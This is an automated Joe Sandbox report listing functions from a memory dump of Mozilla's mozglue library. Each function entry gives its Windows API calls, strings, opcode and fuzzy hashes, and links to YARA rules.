Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction ID: 0333c6d4635f4cfa9c4fa3057f66bd47a8ba1734822a21bcf81730c905ac5048
Opcode Fuzzy Hash: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction Fuzzy Hash: 5271A935604304DFCB04DF29C888A9ABBB5FF89354F158569E85A9B301DB34A845CFA5

Function 6C5FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD52A
GetCurrentThreadId.KERNEL32 ref: 6C5FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD55F
free.MOZGLUE(00000000), ref: 6C5FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD652
GetCurrentThreadId.KERNEL32 ref: 6C5FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD6A2

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction ID: bd0a2a167f11c15bff91ecacebe5fd50ffbe98bd5735a06bc675e3bb5e177760
Opcode Fuzzy Hash: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction Fuzzy Hash: 97516B71604705DFC704DF35C888A9ABBF4FF89358F108A2EE85A87711DB34A94ACB95

Function 6C5A1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EC1
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EE1
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F38
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5A1F83
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FC0
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FE2
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A2019

Strings

\bl, xrefs: 6C5A1F3E
MOZ_CRASH(), xrefs: 6C5A2000
Dbl, xrefs: 6C5A1F56
Dbl, xrefs: 6C5A1F32

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dbl$Dbl$MOZ_CRASH()$\bl
API String ID: 2055633661-2003662670
Opcode ID: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction ID: 4e0ba75fd7903f07b1a281ca017b0d8d97a2916a52963529a28721669fbcd374
Opcode Fuzzy Hash: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction Fuzzy Hash: A041C171B003158BDF009FBACC84BAE7AB5FB8A389F010035E94597B40D7799805CBE9

Function 6C5C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C57BC
GetTickCount64.KERNEL32 ref: 6C5C58CB
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C58F3
__aulldiv.LIBCMT ref: 6C5C5945
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C62F638,?,?,?,?), ref: 6C5C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5C56CC

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction ID: 5d4250336862ad32119328bf52f3b7aa0fa4f5b3f69c3764172ffaa5b9fdd3ff
Opcode Fuzzy Hash: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction Fuzzy Hash: 60C1AC31A083509FC705CFA9C880A6ABBF1FFDA754F458A1DE8C497620D734A885DB87

Function 6C5EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEC8C

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EECA1
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5EECC5
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EED19
CloseHandle.KERNEL32(?), ref: 6C5EED28
free.MOZGLUE(00000000), ref: 6C5EED2F
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5EEC94

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction ID: d2a060a07e2413237a826e5a00685c08ade598e3fbeb856d675adc263b216c20
Opcode Fuzzy Hash: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction Fuzzy Hash: 6F213271600118EBCB008F65DC88AAA3779FFCA36CF104614FC1997741DBB99C068BAA

Function 6C5E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5EB392,?,?,00000001), ref: 6C5E91F4

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Strings

data, xrefs: 6C5E90E8
timeline-overview, xrefs: 6C5E907A
timeline-fileio, xrefs: 6C5E90A4
timeline-ipc, xrefs: 6C5E9096
stack-chart, xrefs: 6C5E90B2
timeline-memory, xrefs: 6C5E9088
name, xrefs: 6C5E8F16
marker-chart, xrefs: 6C5E905E
marker-table, xrefs: 6C5E906C

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction ID: 361e60b774ad795e8b3c00c882d51a509c8a1154583b516d5c4c9052b10b1b90
Opcode Fuzzy Hash: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction Fuzzy Hash: F5B1B0B1A04209DBDB04CF99CCA6BEEBBB6AF88318F104429D401ABF80D7759D45CBD5

Function 6C5CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CCAA5

Strings

0, xrefs: 6C5CD30A
(null), xrefs: 6C5CC596

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction ID: 238b23af7ec283966682840a5b1c22be70c2c3009ccf85bec683c40507c2adb6
Opcode Fuzzy Hash: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction Fuzzy Hash: A2A19A307083429FDB10DF69C98875ABBE1AF89748F04882DE99AD7741D735E809CB97

Function 6C5CC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5CC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5CC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CC891

Strings

nan, xrefs: 6C5CC7A8
inf, xrefs: 6C5CC78F
INF, xrefs: 6C5CC794
NAN, xrefs: 6C5CC7AD

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction ID: 93c3154dca050eaba83730fce7331c3e532e3546df05bd62fb311b7793b6d341
Opcode Fuzzy Hash: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction Fuzzy Hash: 5B51A5706087448BD700EFADC98169BFBF0BF9A308F004A2DE9D5A7650E775E9858B43

Function 6C5A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5A350E
__Init_thread_footer.LIBCMT ref: 6C5A3522
__aulldiv.LIBCMT ref: 6C5A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3592

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

kernel32.dll, xrefs: 6C5A34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5A3508

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction ID: cbbbbe47fd31ba4fa95100fc93d1585da9a89e9a3c0c38f7cf39bf8eae584c33
Opcode Fuzzy Hash: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction Fuzzy Hash: EF319271B002159BDF00DFBACD88EAE77B5FB89305F100419E541936A0DB78E906CF55

Function 6C5A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5E4843,?), ref: 6C5A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5E4843,?), ref: 6C5A468A
free.MOZGLUE(?,?,?,?,?,?,6C5E4843,?), ref: 6C5A46C9
free.MOZGLUE(?), ref: 6C5A46EF
free.MOZGLUE(?), ref: 6C5A4712
free.MOZGLUE(?), ref: 6C5A4735
free.MOZGLUE(?), ref: 6C5A4758
free.MOZGLUE(?), ref: 6C5A477B
free.MOZGLUE(?), ref: 6C5A479E

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction ID: b235b85f31c7b100b1b88b28b9a7c123636ee0a92927097124baa914d3a6f86f
Opcode Fuzzy Hash: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction Fuzzy Hash: 58B10571A001518FDB18CEFDDC9076D77A2AF86328F184668E416DBB92EB31DC428B91

Function 6C60AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C60AC52
CreateFileMappingW.KERNEL32 ref: 6C60AC7D
GetSystemInfo.KERNEL32 ref: 6C60AC98
MapViewOfFile.KERNEL32 ref: 6C60ACB0
GetSystemInfo.KERNEL32 ref: 6C60ACCD
MapViewOfFile.KERNEL32 ref: 6C60AD05
UnmapViewOfFile.KERNEL32 ref: 6C60AD1C
CloseHandle.KERNEL32 ref: 6C60AD28
UnmapViewOfFile.KERNEL32 ref: 6C60AD37
CloseHandle.KERNEL32 ref: 6C60AD43
CloseHandle.KERNEL32 ref: 6C60AD67

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction ID: bf8bfe9abb2f62120e484287ac4ed580bcf8d47285b516996b0da01be76345cb
Opcode Fuzzy Hash: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction Fuzzy Hash: 563190B1A043048FDB00AF7DD68826EBBF0FF85345F05892DE98697241EB749449CB86

Function 6C5B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

NtMapViewOfSection, xrefs: 6C5B9701
MapViewOfFileNuma2, xrefs: 6C5B97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
ntdll.dll, xrefs: 6C5B96E3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction ID: 726b85e24ac7c84d8d5ea3b8a1c7dda6cc5fca7ae0cf3e248580861b6cff9084
Opcode Fuzzy Hash: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction Fuzzy Hash: 2641A0756003169BDF00CFA6ECE4A977BB4EB8A354F114128ED55A7740D738E805CFAA

Function 6C5F0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5F0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5F0041
GetCurrentThreadId.KERNEL32 ref: 6C5F0075
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5F0090
free.MOZGLUE(?), ref: 6C5F0104
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5F005B

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction ID: 0eb772bf9908e6596cba5fe7f507e46c04ecbb69b9be0c314c8e5e05914ccc09
Opcode Fuzzy Hash: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction Fuzzy Hash: A4419CB1600654DFCB10CF65CC80A9ABBF1FF89318F44491EE95A93B40D735A805CF9A

Function 6C5B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B7EA7
malloc.MOZGLUE(00000001), ref: 6C5B7EB3

Part of subcall function 6C5BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5BCB49
